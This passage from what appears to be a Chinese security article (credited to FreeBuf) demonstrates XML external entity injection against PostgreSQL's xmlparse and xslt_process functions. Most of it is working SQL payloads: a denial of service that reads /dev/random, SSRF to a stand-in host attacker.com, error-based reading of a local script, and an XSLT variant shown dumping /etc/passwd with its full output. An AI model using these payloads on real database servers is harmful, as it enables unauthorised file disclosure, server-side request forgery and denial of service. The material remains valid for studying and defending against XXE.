并可以利用xml实体注入读取任意本地文件。 

实例：

DoS:

selectxmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')

SSRF:

selectxmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')

Error-based XXE:

selectxmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

ERROR:  invalid XML document

DETAILS:  /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name

exec 9<&0 </etc/fstab^

/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name

exec 9<&0 </etc/fstab^

/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced

exec 9<&0 </etc/fstab^

Entity: line 1: parser error : Failure to process entity abc

E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;

^

Entity: line 1: parser error : Entity ‘abc’ not defined

E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;

最新更新

通过从XXE到XSLT格式的转换，可以读取到服务器任意数据，测试语句如下：

SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text,$$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"version="1.0"><xsl:templatematch="*"><xsl:element name="samples"><xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/></xsl:element>  </xsl:element></xsl:template></xsl:stylesheet>$$::text,'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);

xslt_process www.2cto.com

<?xml version=”1.0″?>

<samples><sample>root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

nslcd:x:101:103:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/bin/false

sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin

puppet:x:109:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false

Debian-exim:x:111:115::/var/spool/exim4:/bin/false

alexandro:x:1000:1000:Alexander Golovko,,,:/home/alexandro:/bin/bash

oxod:x:1001:1001:,,,:/home/oxod:/bin/bash

mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false

postgres:x:104:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

oracle:x:1002:1002::/u01/app/oracle:/bin/bash

</sample></samples>

(1 row)

 

参考文献

http://lab.onsec.ru

 

作者: FreebuF.COM